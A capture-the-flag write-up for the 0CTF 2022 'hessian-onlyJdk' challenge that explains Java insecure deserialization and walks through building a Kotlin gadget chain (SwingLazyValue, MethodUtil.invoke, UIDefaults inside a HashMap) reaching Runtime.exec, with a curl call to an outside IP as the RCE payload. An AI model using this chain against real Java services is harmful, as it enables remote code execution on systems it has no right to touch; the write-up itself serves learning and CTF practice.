> For the complete documentation index, see [llms.txt](https://0xsapra.gitbook.io/web/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xsapra.gitbook.io/web/writeups/0ctf-2022-java-deserialization.md).

# 0CTF 2022 - Java deserialization

I played 0ctf with Super Guesser and mainly focused on 4 web challs out of which I was able to solve 2 of them but couldnt solve the other 2 JAVA challs, so I thought this could be a good time to solve the leftover challs and learn JAVA alongside. This is writeup for `hessian-onlyJdk`, this helps understanding java deserialization

## hessian-onlyjdk

#### Introduction & Setup <a href="#introduction--setup" id="introduction--setup"></a>

We were given a java application [(Source code attached)](https://0xsapra.github.io/website/assets/source/0ctf-hessian-onlyJdk) which takes user input as POST body and uses the `hessian` Library to parse the POST Input. The Vulnerability was straight forward to discover from the source : `Index.java`

```java
try {
    final InputStream is = t.getRequestBody(); // `is` is POST body
    final Hessian2Input input = new Hessian2Input(is); 
    input.readObject();
}
catch (Exception e) {
    e.printStackTrace();
    response = "oops! something is wrong";
}
```

here, `input.readObject()` is vulnerable to Insecure deserialization and our goal was to find exploit(Java Gadget chain), send it as POST body and achieve RCE. We can try to use gadget chains from ysoserial and other places but none worked, so we will have to create our own gadget chain now.

#### Learning JAVA to find Gadget chain <a href="#learning-java-to-find-gadget-chain" id="learning-java-to-find-gadget-chain"></a>

First step was to understand how JAVA deserialization works. I came accorss this nice talk from [blackhat](https://www.youtube.com/watch?v=wPbW6zQ52w8)

The basic idea of deserialization is follows:

1. The code `input.readObject()` means, whatever `Object` we send in the POST body, it will deserialize it and next the code calls `readObject` magic method on it and we as attacker wanna make sure we achive rce when code calls this method. Now we cannot send any object ofcourse, the Object we are sending should exist in classPath of the running code. ClassPath is nothing but list of available classes.

Example, suppose there is a class myClass.java somewhere in the code like this

```java
import java.io.ObjectInputStream;
import java.io.IOException;
import java.io.Serializable;

public class StartVuln {
    Vulnclass m;

    public void readObj(ObjectInputStream s) {
        try {
            m = (Vulnclass) s.readObject();
            m.hax();
        }catch (Exception e) {
            System.out.println(e);
        }
    }
}

public class Vulnclass implements Serializable {

    String cmd = "whoami";
    public void hax() throws IOException {
        System.out.println("Executing" + this.cmd.toString());
        System.out.println(Runtime.getRuntime().exec(this.cmd));
    }
}
```

Now if the main program either belongs to same package or the above class’s are included while running the JAVA application, we should be able to access the Class’s, otherwise we wont be able to access it. Lets say this class is included in classpath while runing the program like:

```bash
$ java -classpath=/path/to/above.jar -jar main.jar
```

we can create a payload like below to get RCE

```java
package com.test;

import Vulnclass
import StartVuln
import org.joor.Reflect
import java.io.ByteArrayInputStream
import java.io.ByteArrayOutputStream
import java.io.ObjectInputStream
import java.io.ObjectOutputStream


fun main(args: Array<String>) {
    println("Start")

    var gadget = createGadget() // This is the main gadget

    // Rest of the code below
    // is just wrapper to convert the object to `objectInputStream`

    var baos = ByteArrayOutputStream();
    var oos = ObjectOutputStream(baos);

    oos.writeObject(gadget);

    oos.flush();
    oos.close();

    var byteArrayInputStream = ByteArrayInputStream(baos.toByteArray());
    var objectInputStream = ObjectInputStream(byteArrayInputStream);


    // Vulnerablity exploit start here
    StartVuln().readObj(objectInputStream);

}

fun createGadget() : Any {
    return Reflect.onClass("Vulnclass").create().set("cmd", "open /").get();
}
```

Since `Vulnclass` has Serialiable implemented, we should be able to serialize this class. When any code runs `readobject` on it, the code should be able to recover the Object of this class with instance variables(public/private) set to what we wanted it to be.

#### Finding Gadget chain to exploit Hessian Library <a href="#finding-gadget-chain-to-exploit-hessian-library" id="finding-gadget-chain-to-exploit-hessian-library"></a>

As seen above, now we know how to create Gadget chain , next step is to find which code to look the Gadget chain at. Like I said , all the `Serializable` class’s accessible to the application are possible victim, this includes

1. Entire JAVA JDK
2. Classe’s in classpath’s included while running app (libraries, jar files etc.)

\
The application above uses quite few libraries and JDK version 1.8(also known as [JDK 8](https://github.com/frohoff/jdk8u-jdk/)) So our goal would be to find Gadget chain in them to achieve RCE.

Here’s the Gadget chain we will be using to attack (this is written in kotlin)<br>

```java
import sun.reflect.misc.MethodUtil // part of JDK 1.8
import java.lang.reflect.Method


private fun createGadget(): Any {

    // reflection API uses slot to tell which function to call
    var invokeSlot = 6
    var execSlot = 17

    val invokeMethod = MethodUtil::class.java.getMethod(
        "invoke",
        Method::class.java, Any::class.java, emptyArray<Any>().javaClass
    ).also { Reflect.on(it).set("slot", invokeSlot) }

    val execMethod = Runtime::class.java.getMethod(
        "exec",
        String::class.java
    ).also { Reflect.on(it).set("slot", execSlot) }


    val cmd = "curl http://192.168.29.80:1235"
    val args = arrayOf<Any>(execMethod, Runtime.getRuntime() as Any, arrayOf<Any>(cmd))

    val value = SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", arrayOf(invokeMethod, Any(), args)) 
    // https://github.com/frohoff/jdk8u-jdk/blob/master/src/share/classes/sun/swing/SwingLazyValue.java#L57  signature of SwingLazyValue


    
    val u1 = UIDefaults().apply { put("_", value) }
    val u2 = UIDefaults().apply { put("_", value) } 
    
    val hashMap = HashMap<Any, Any>()
    val rNode = Reflect.onClass("java.util.HashMap\$Node")

    val array = java.lang.reflect.Array.newInstance(rNode.get(), 2) // create Array of size 2 of type rnode(java.util.HashMap$Node)
    java.lang.reflect.Array.set(array, 0, rNode.create(0, u1, null, null).get()) // set 0th index ,
    java.lang.reflect.Array.set(array, 1, rNode.create(0, u2, null, null).get())// set 1st index
    Reflect.on(hashMap).set("size", 2).set("table", array)
    
    return hashMap
}
```

Lets decouple the chain shall we:

**Part 1: getting the methods to execute**

We will be using reflection in kotlin to get methods

```java
val invokeMethod = MethodUtil::class.java.getMethod(
    "invoke",
    Method::class.java, Any::class.java, emptyArray<Any>().javaClass
).also { Reflect.on(it).set("slot", invokeSlot) }

// MethodUtil::class -> getting the runtime reference to a statically/known class
//      .java is same as using getClass() on object to get the class info
//      .getMethod("methodname", signature) is java reflection API to get the method 

// signature of MethodUtil.invoke method :
//      public static Object invoke(Method m, Object obj, Object[] params)


val execMethod = Runtime::class.java.getMethod(
    "exec",
    String::class.java
).also { Reflect.on(it).set("slot", execSlot) }

// same as Runtime.getClass().getMethod("exec", signature)
```

**Part 2. Setting up command executing function which will get us RCE**

Our goal is to call `SwingLazyValue.createValue` since it has the following code:<br>

<figure><img src="/files/nQXiMYh9ZnmGiYIBYiIU" alt=""><figcaption></figcaption></figure>

It takes `classname`, `methodname` and `string array` and execute `m.invoke(c, args);` on it. we can set `m` to be `Runtime.exec` but for somereason that didnt work, so we have to wrap `Runtime.exec` around another `MethodUtil.invoke` like below

```java
val cmd = "curl http://192.168.29.80:1235"
val args = arrayOf<Any>(execMethod, Runtime.getRuntime() as Any, arrayOf<Any>(cmd))

val value = SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", arrayOf(invokeMethod, Any(), args)) 
```

The above is same as

```java

c = SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", [Method::Runtime.exec, Runtime.getRuntime(), ["curl site.com"]]);

```

Like in the pic above, now if we do `c.createValue`, we will get command execution from the line `m.invoke(c, args);` (m here is Methodutil, c is “invoke” and args is the \[Runtime.exec, cmd])

\
**Part 3: setting up chain to reach the reach the `SwingLazyValue.createValue` function**

<figure><img src="/files/OIrRe53VpbYE4hfHWSh3" alt=""><figcaption></figcaption></figure>

Here we can see, the `getFromHashTable` function of `UIDefaults` class calls `createValue`. The function get value by doing `super.get(key)` and if the returned value is LazyValue(i.e Object), it just calls `Object.createValue` on it, and that what we wanted, soo,

```java

val myUiDefaultObject = UIDefaults().also { it.put("_", SwingLazyValue(...)) } 
```

Now if in code there is a call to `myUiDefaultObject.getFromHashtable("_")`, it will call `(SwingLazyValue).createValue(this);` and we will get RCE. So we need a way to now call `myUiDefaultObject.getFromHashtable`. Actually the function `getFromHashtable` is called by `.get` function of `UIDefaults`<br>

<figure><img src="/files/cihgvChYKGR63VaeES7k" alt=""><figcaption></figcaption></figure>

We need to find a way to call `UIDefaults.get("_")`. Now this definately looks achievable. Actually, if we wrap `UIDefaults` object around `HashMap`, when a `HashMap` is deserialized, it calls `.get` on each `key` to check if key already exist in map or not. So now we just have to wrap the `UIDefaults` Object around HashMap and it will call `.get` on keys.

Here’s how `.get` is called on `hashmap` keys:

On deserialization, `hashmap` calls readObject , this calls `readObject` on keys & Values and does `putVal`<br>

<figure><img src="/files/f5P1XyTtooOQIwCkihvk" alt=""><figcaption></figcaption></figure>

The `putval` function calls `key.equals(k)` (here key is Object of class UIDefaults):

<figure><img src="/files/4OBl07w9RytbJzBbD23J" alt=""><figcaption></figcaption></figure>

The `UIDefaults` class doesnt itself have `equals` function but since it extends `HashTable`, we can find the `equals` function inside `HashTable` class as below<br>

<figure><img src="/files/ZzVB7qCzKLlq6M7cayny" alt=""><figcaption></figcaption></figure>

we can see here it calls `.get` on the key (ie UIDefaults). So the chain looks like

```json
{
    "UIDefaults::Object" : SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", [Method::Runtime.exec, Runtime.getRuntime(), ["curl site.com"]]),

    "UIDefaults::Object" : SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", [Method::Runtime.exec, Runtime.getRuntime(), ["curl site.com"]]),
}
```

SUMMARY: When the hashmap is deserialized,

1. It will call `putVal(key, val)`

   IMP: key here is `UIDefaults` object

   since we have 2 keys, it will call putval for 1st key and then the 2nd key. While doing it for 2nd key, since the hashmap is not empty, it will check if the key aready exist or not by calling `key.equals(key2)`
2. `key.equals(k2)` call `equals` method of `Hashtable` class. The `Hashtable` or `Uidefaults.equals()` calls `Uidefaults.get("_")`
3. `UiDefaults.get` calls `getFromHashtable` function on the value of `UiDefaults.get("_")` which is SwingLazyValue payload and thus gives us RCE.

Putting it all together in code:

```java
val u1 = UIDefaults().also { it.put("_", value) }
val u2 = UIDefaults().also { it.put("_", value) } 

val hashMap = HashMap<Any, Any>()
val rNode = Reflect.onClass("java.util.HashMap\$Node")

val array = java.lang.reflect.Array.newInstance(rNode.get(), 2) // create Array of size 2 of type rnode(java.util.HashMap$Node)

java.lang.reflect.Array.set(array, 0, rNode.create(0, u1, null, null).get()) // set 0th index ,
java.lang.reflect.Array.set(array, 1, rNode.create(0, u2, null, null).get())// set 1st index

// signature public static void set(Object array, int index, Object value)

Reflect.on(hashMap).set("size", 2).set("table", array)

return hashMap
```

This would be the complete chain. The hashMap object now obtained, if we call `hashMap.readObj()` on it, the deserialization chain will start and we should get RCE.<br>
